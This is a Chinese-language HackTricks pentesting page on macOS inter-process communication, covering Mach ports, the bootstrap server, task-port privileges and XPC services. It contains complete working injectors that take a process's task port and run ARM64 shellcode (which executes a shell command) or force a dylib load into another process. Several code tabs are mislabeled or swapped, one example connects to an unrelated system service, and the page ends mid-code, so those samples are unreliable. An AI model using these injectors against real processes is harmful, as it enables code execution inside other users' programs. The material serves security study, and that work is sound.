# macOS IPC - 进程间通信
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
## 通过端口进行Mach消息传递 Mach使用**任务(task)**作为共享资源的**最小单位**,每个任务可以包含**多个线程**。这些**任务和线程与POSIX进程和线程一一对应**。 任务之间的通信通过Mach进程间通信(IPC)进行,利用单向通信通道。**消息通过端口进行传输**,端口类似于由内核管理的**消息队列**。 端口权限定义了任务可以执行的操作,这对通信至关重要。可能的**端口权限**有: * **接收权限**,允许接收发送到端口的消息。Mach端口是MPSC(多生产者,单消费者)队列,这意味着整个系统中每个端口只能有**一个接收权限**(与管道不同,多个进程可以持有指向管道读端的文件描述符)。 * 拥有接收权限的**任务可以接收消息并创建发送权限**,从而可以发送消息。最初,只有**自己的任务对其端口拥有接收权限**。 * **发送权限**,允许向端口发送消息。 * 发送权限可以进行**克隆**,因此拥有发送权限的任务可以克隆该权限并将其授予第三个任务。 * **一次性发送权限**,允许向端口发送一条消息,然后消失。 * **端口集权限**,表示一个**端口集**而不是单个端口。从端口集中出队一条消息会从其中一个包含的端口中出队。端口集可用于同时监听多个端口,类似于Unix中的`select`/`poll`/`epoll`/`kqueue`。 * **死命名**,不是实际的端口权限,只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死命名。 **任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以进行克隆**,因此任务可以复制并将权限授予第三个任务。这与一个称为**引导服务器**的中间进程结合使用,可以实现任务之间的有效通信。 #### 步骤: 正如前面提到的,为了建立通信通道,涉及到**引导服务器**(mac中的**launchd**)。 1. 任务**A**初始化一个**新的端口**,在此过程中获得一个**接收权限**。 2. 作为接收权限的持有者,任务**A**为端口**生成一个发送权限**。 3. 任务**A**通过引导注册过程与**引导服务器**建立**连接**,提供**端口的服务名称**和**发送权限**。 4. 任务**B**与**引导服务器**交互,执行服务名称的引导**查找**。如果成功,**服务器复制从任务A接收到的发送权限**,并将其**传输给任务B**。 5. 获得发送权限后,任务**B**能够**构建**一条**消息**并将其**发送给任务A**。 引导服务器**无法对任务声称的服务名称进行身份验证**。这意味着一个任务有可能**冒充任何系统任务**,例如虚假地**声称授权服务名称**,然后批准每个请求。 然后,Apple将**系统提供的服务名称**存储在位于**SIP保护**目录下的安全配置文件中:`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`。引导服务器将为每个这些服务名称创建并持有一个**接收权限**。 对于这些预定义服务,**查找过程略有不同**。当查找服务名称时,launchd会动态启动服务。新的工作流程如下: * 任务**B**启动一个服务名称的引导**查找**。 * **launchd**检查任务是否正在运行,如果没有,则**启动**它。 * 任务**A**(服务)执行引导**签入**。在这里,引导服务器创建一个发送权限,保留它,并将**接收权限传输给任务A**。 * launchd复制**发送权限并将其发送给任务B**。 然而,这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能导致冒充。 ### 代码示例 请注意,**发送方**在这里**分配**了一个端口,为名称`org.darlinghq.example`创建了一个**发送权限**,并将其发送到**引导服务器**,而发送方则请求该名称的**发送权限**并使用它来**发送消息**。 {% tabs %} {% tab title="receiver.c" %} ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc receiver.c -o receiver #include #include #include int main() { // Create a new port. mach_port_t port; kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); if (kr != KERN_SUCCESS) { printf("mach_port_allocate() failed with code 0x%x\n", kr); return 1; } printf("mach_port_allocate() created port right name %d\n", port); // Give us a send right to this port, in addition to the receive right. kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); if (kr != KERN_SUCCESS) { printf("mach_port_insert_right() failed with code 0x%x\n", kr); return 1; } printf("mach_port_insert_right() inserted a send right\n"); // Send the send right to the bootstrap server, so that it can be looked up by other processes. kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); if (kr != KERN_SUCCESS) { printf("bootstrap_register() failed with code 0x%x\n", kr); return 1; } printf("bootstrap_register()'ed our port\n"); // Wait for a message. struct { mach_msg_header_t header; char some_text[10]; int some_number; mach_msg_trailer_t trailer; } message; kr = mach_msg( &message.header, // Same as (mach_msg_header_t *) &message. MACH_RCV_MSG, // Options. We're receiving a message. 0, // Size of the message being sent, if sending. sizeof(message), // Size of the buffer for receiving. port, // The port to receive a message on. MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL // Port for the kernel to send notifications about this message to. ); if (kr != KERN_SUCCESS) { printf("mach_msg() failed with code 0x%x\n", kr); return 1; } printf("Got a message\n"); message.some_text[9] = 0; printf("Text: %s, number: %d\n", message.some_text, message.some_number); } ``` {% tab title="sender.c" %} ```c #include #include #include #include #include #include #include #define MAX_TEXT 512 struct msgbuf { long mtype; char mtext[MAX_TEXT]; }; int main() { int msgid; struct msgbuf msg; // Create a message queue msgid = msgget((key_t)1234, 0666 | IPC_CREAT); if (msgid == -1) { perror("msgget failed"); exit(EXIT_FAILURE); } // Set the message type msg.mtype = 1; // Set the message text strncpy(msg.mtext, "Hello, receiver!", MAX_TEXT); // Send the message if (msgsnd(msgid, (void *)&msg, MAX_TEXT, 0) == -1) { perror("msgsnd failed"); exit(EXIT_FAILURE); } printf("Message sent: %s\n", msg.mtext); return 0; } ``` {% endtab %} {% tab title="receiver.c" %} ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc sender.c -o sender #include #include #include int main() { // Lookup the receiver port using the bootstrap server. mach_port_t port; kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); if (kr != KERN_SUCCESS) { printf("bootstrap_look_up() failed with code 0x%x\n", kr); return 1; } printf("bootstrap_look_up() returned port right name %d\n", port); // Construct our message. struct { mach_msg_header_t header; char some_text[10]; int some_number; } message; message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); message.header.msgh_remote_port = port; message.header.msgh_local_port = MACH_PORT_NULL; strncpy(message.some_text, "Hello", sizeof(message.some_text)); message.some_number = 35; // Send the message. kr = mach_msg( &message.header, // Same as (mach_msg_header_t *) &message. MACH_SEND_MSG, // Options. We're sending a message. sizeof(message), // Size of the message being sent. 0, // Size of the buffer for receiving. MACH_PORT_NULL, // A port to receive a message on, if receiving. MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL // Port for the kernel to send notifications about this message to. ); if (kr != KERN_SUCCESS) { printf("mach_msg() failed with code 0x%x\n", kr); return 1; } printf("Sent a message\n"); } ``` {% endtab %} {% endtabs %} ### 特权端口 * **主机端口**:如果一个进程对该端口具有**发送**权限,他可以获取有关系统的**信息**(例如`host_processor_info`)。 * **主机特权端口**:具有对该端口的**发送**权限的进程可以执行**特权操作**,如加载内核扩展。该进程需要是**root**才能获得此权限。 * 此外,为了调用**`kext_request`** API,还需要具有其他授权**`com.apple.private.kext*`**,这些授权仅提供给Apple二进制文件。 * **任务名称端口**:_任务端口_的非特权版本。它引用任务,但不允许对其进行控制。似乎唯一可以通过它获得的是`task_info()`。 * **任务端口**(也称为内核端口):对该端口具有发送权限,可以控制任务(读/写内存,创建线程等)。 * 调用`mach_task_self()`以获取调用者任务的名称。此端口仅在**`exec()`**之间**继承**;使用`fork()`创建的新任务会获得一个新的任务端口(作为特殊情况,suid二进制文件在`exec()`之后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。 * 这些是访问端口的限制(来自二进制文件`AppleMobileFileIntegrity`的`macos_task_policy`): * 如果应用具有**`com.apple.security.get-task-allow`授权**,来自**同一用户的进程可以访问任务端口**(通常由Xcode用于调试)。**公证**过程不允许将其用于生产版本。 * 具有**`com.apple.system-task-ports`授权**的应用程序可以获取任何进程的**任务端口**,但不能获取内核的任务端口。在旧版本中,它被称为**`task_for_pid-allow`**。这仅授予Apple应用程序。 * **Root可以访问未使用强化运行时编译**(且不是来自Apple)的应用程序的任务端口。 ### 通过任务端口在线程中注入Shellcode 您可以从以下位置获取Shellcode: {% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} [arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) {% endcontent-ref %} {% tabs %} {% tab title="mysleep.m" %} ```objectivec // clang -framework Foundation mysleep.m -o mysleep // codesign --entitlements entitlements.plist -s - mysleep #import double performMathOperations() { double result = 0; for (int i = 0; i < 10000; i++) { result += sqrt(i) * tan(i) - cos(i); } return result; } int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]); while (true) { [NSThread sleepForTimeInterval:5]; performMathOperations(); // Silent action [NSThread sleepForTimeInterval:5]; } } return 0; } ``` {% tab title="entitlements.plist" %}权限清单.plist ```xml com.apple.security.get-task-allow ``` {% endtab %} {% endtabs %} **编译**之前的程序,并添加**权限**以能够使用相同的用户注入代码(如果不是,则需要使用**sudo**)。
sc_injector.m ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector #import #import #include #include #ifdef __arm64__ kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags ); kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt ); #else #include #endif #define STACK_SIZE 65536 #define CODE_SIZE 128 // ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00"; int inject(pid_t pid){ task_t remoteTask; // Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); } // Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else { fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); } // Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); } // Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); } // Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); } // Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); } // Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread; memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16 const char* p = (const char*) remoteCode64; remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); } return (0); } pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments]; NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe]; NSFileHandle *file = [pipe fileHandleForReading]; [task launch]; NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; return (pid_t)[string integerValue]; } BOOL isStringNumeric(NSString *str) { NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; } int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; } NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid; if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } } inject(pid); } return 0; } ```
```bash gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` ### 通过任务端口在线程中进行Dylib注入 在 macOS 中,线程可以通过 Mach 或使用 posix `pthread` api 进行操作。我们在前面的注入中生成的线程是使用 Mach api 生成的,因此它不符合 posix 标准。 之前我们能够注入一个简单的 shellcode 来执行命令,是因为它不需要使用符合 posix 标准的 api,只需要使用 Mach。而更复杂的注入需要线程也符合 posix 标准。 因此,为了改进线程,应该调用 `pthread_create_from_mach_thread` 来创建一个有效的 pthread。然后,这个新的 pthread 可以调用 dlopen 来从系统中加载一个 dylib,这样就不需要编写新的 shellcode 来执行不同的操作,而是可以加载自定义库。 你可以在(例如生成日志并监听它的示例 dylibs)中找到示例 dylibs: {% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} [macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md) {% endcontent-ref %}
dylib_injector.m ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include #include #include #include #include #include #include #include #include #include #include #include #ifdef __arm64__ //#include "mach/arm/thread_status.h" // Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags ); kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt ); #else #include #endif #define STACK_SIZE 65536 #define CODE_SIZE 128 char injectedCode[] = // "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) // Call pthread_set_self "\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread "\x00\x00\x00\x14" // loop: b loop ; loop forever // Call dlopen with the path to the library "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() // Call pthread_exit "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit "PTHRDCRT" // <- "PTHRDEXT" // <- "DLOPEN__" // <- "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; int inject(pid_t pid, const char *lib) { task_t remoteTask; struct stat buf; // Check if the library exists int rc = stat (lib, &buf); if (rc != 0) { fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); //return (-9); } // Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); } // Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else { fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); } // Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); } // Patch shellcode int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) { // Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++; uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen; if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); } ```c if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8); printf("从 mach 线程创建 Pthread @%llx\n", addrOfPthreadCreate); } if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) { printf("DLOpen @%llx\n", addrOfDlopen); memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); } if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) { strcpy(possiblePatchLocation, lib); } } // 将 shellcode 写入分配的内存 kr = mach_vm_write(remoteTask, // 任务端口 remoteCode64, // 虚拟地址(目标) (vm_address_t) injectedCode, // 源 0xa9); // 源的长度 if (kr != KERN_SUCCESS) { fprintf(stderr, "无法写入远程线程内存:错误 %s\n", mach_error_string(kr)); return (-3); } // 设置分配的代码内存的权限 kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); if (kr != KERN_SUCCESS) { fprintf(stderr, "无法设置远程线程代码的内存权限:错误 %s\n", mach_error_string(kr)); return (-4); } // 设置分配的堆栈内存的权限 kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); if (kr != KERN_SUCCESS) { fprintf(stderr, "无法设置远程线程堆栈的内存权限:错误 %s\n", mach_error_string(kr)); return (-4); } // 创建线程来运行 shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread; memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64)); remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈 //remoteStack64 -= 8; // 需要 16 字节对齐 const char *p = (const char *)remoteCode64; remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t)remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t)remoteStack64; printf("远程堆栈 64 0x%llx,远程代码为 %p\n", remoteStack64, p); kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t)&remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread); if (kr != KERN_SUCCESS) { fprintf(stderr, "无法创建远程线程:错误 %s", mach_error_string(kr)); return (-3); } return (0); } int main(int argc, const char *argv[]) { if (argc < 3) { fprintf(stderr, "用法:%s _pid_ _action_\n", argv[0]); fprintf(stderr, " _action_:磁盘上 dylib 的路径\n"); exit(0); } pid_t pid = atoi(argv[1]); const char *action = argv[2]; struct stat buf; int rc = stat(action, &buf); if (rc == 0) inject(pid, action); else { fprintf(stderr, "找不到 dylib\n"); } } ```
```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` ### 通过任务端口进行线程劫持 在这种技术中,进程的一个线程被劫持: {% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %} [macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md) {% endcontent-ref %} ## XPC ### 基本信息 XPC代表XNU(macOS使用的内核)进程间通信,是macOS和iOS上进程之间通信的框架。XPC提供了一种在系统上进行安全、异步方法调用的机制。它是苹果安全范例的一部分,允许创建权限分离的应用程序,其中每个组件都以其工作所需的权限运行,从而限制了受损进程可能造成的潜在损害。 XPC使用一种称为进程间通信(IPC)的方法,用于在同一系统上运行的不同程序之间发送数据。 XPC的主要优点包括: 1. **安全性**:通过将工作分离到不同的进程中,每个进程只能被授予其所需的权限。这意味着即使进程被入侵,它也只能有限地造成损害。 2. **稳定性**:XPC帮助将崩溃隔离到发生崩溃的组件。如果一个进程崩溃,可以重新启动而不影响系统的其他部分。 3. **性能**:XPC允许轻松并发,因为不同的任务可以在不同的进程中同时运行。 唯一的**缺点**是将一个应用程序分成多个进程,通过XPC进行通信会**效率较低**。但在今天的系统中,这几乎不可察觉,而且好处更多。 ### 应用程序特定的XPC服务 应用程序的XPC组件位于应用程序本身内部。例如,在Safari中,您可以在**`/Applications/Safari.app/Contents/XPCServices`**中找到它们。它们的扩展名为**`.xpc`**(例如**`com.apple.Safari.SandboxBroker.xpc`**),并且也是主要二进制文件的**捆绑包**:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`和一个`Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist` 正如您可能想到的,**XPC组件将具有不同的授权和权限**,而不同于其他XPC组件或主应用程序二进制文件。除非XPC服务在其**Info.plist**文件中配置了[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)设置为“True”。在这种情况下,XPC服务将在与调用它的应用程序**相同的安全会话中运行**。 XPC服务在需要时由**launchd**启动,并在所有任务完成后**关闭**以释放系统资源。**应用程序特定的XPC组件只能被应用程序利用**,从而降低了与潜在漏洞相关的风险。 ### 系统范围的XPC服务 系统范围的XPC服务对所有用户都可访问。这些服务,无论是launchd还是Mach类型,都需要在指定目录中的plist文件中进行**定义**,例如**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**或**`/Library/LaunchAgents`**。 这些plist文件将具有一个名为**`MachServices`**的键,其中包含服务的名称,以及一个名为**`Program`**的键,其中包含二进制文件的路径: ```xml cat /Library/LaunchDaemons/com.jamf.management.daemon.plist Program /Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon AbandonProcessGroup KeepAlive Label com.jamf.management.daemon MachServices com.jamf.management.daemon.aad com.jamf.management.daemon.agent com.jamf.management.daemon.binary com.jamf.management.daemon.selfservice com.jamf.management.daemon.service RunAtLoad ``` **`LaunchDameons`**中的进程由root用户运行。因此,如果一个非特权进程可以与其中一个进程通信,它可能能够提升权限。 ### XPC事件消息 应用程序可以订阅不同的事件消息,使它们能够在发生这些事件时按需启动。这些服务的设置是在**launchd plist文件**中完成的,位于与前面的文件相同的目录中,并包含一个额外的**`LaunchEvent`**键。 ### XPC连接进程检查 当一个进程尝试通过XPC连接调用一个方法时,XPC服务应该检查该进程是否被允许连接。以下是检查的常见方式和常见陷阱: {% content-ref url="macos-xpc-connecting-process-check.md" %} [macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md) {% endcontent-ref %} ### XPC授权 Apple还允许应用程序配置一些权限以及如何获取这些权限,因此如果调用进程具有这些权限,它将被允许调用XPC服务的方法: {% content-ref url="macos-xpc-authorization.md" %} [macos-xpc-authorization.md](macos-xpc-authorization.md) {% endcontent-ref %} ### C代码示例 {% tabs %} {% tab title="xpc_server.c" %} ```c // gcc xpc_server.c -o xpc_server #include static void handle_event(xpc_object_t event) { if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) { // Print received message const char* received_message = xpc_dictionary_get_string(event, "message"); printf("Received message: %s\n", received_message); // Create a response dictionary xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(response, "received", "received"); // Send response xpc_connection_t remote = xpc_dictionary_get_remote_connection(event); xpc_connection_send_message(remote, response); // Clean up xpc_release(response); } } static void handle_connection(xpc_connection_t connection) { xpc_connection_set_event_handler(connection, ^(xpc_object_t event) { handle_event(event); }); xpc_connection_resume(connection); } int main(int argc, const char *argv[]) { xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service", dispatch_get_main_queue(), XPC_CONNECTION_MACH_SERVICE_LISTENER); if (!service) { fprintf(stderr, "Failed to create service.\n"); exit(EXIT_FAILURE); } xpc_connection_set_event_handler(service, ^(xpc_object_t event) { xpc_type_t type = xpc_get_type(event); if (type == XPC_TYPE_CONNECTION) { handle_connection(event); } }); xpc_connection_resume(service); dispatch_main(); return 0; } ``` {% tab title="xpc_client.c" %} ```c #include #include #include int main(int argc, const char * argv[]) { xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(connection, ^(xpc_object_t event) { xpc_type_t type = xpc_get_type(event); if (type == XPC_TYPE_DICTIONARY) { const char *description = xpc_dictionary_get_string(event, "description"); printf("Received event: %s\n", description); } }); xpc_connection_resume(connection); dispatch_main(); return 0; } ``` {% endtab %} {% tab title="xpc_server.c" %} ```c // gcc xpc_client.c -o xpc_client #include int main(int argc, const char *argv[]) { xpc_connection_t connection = 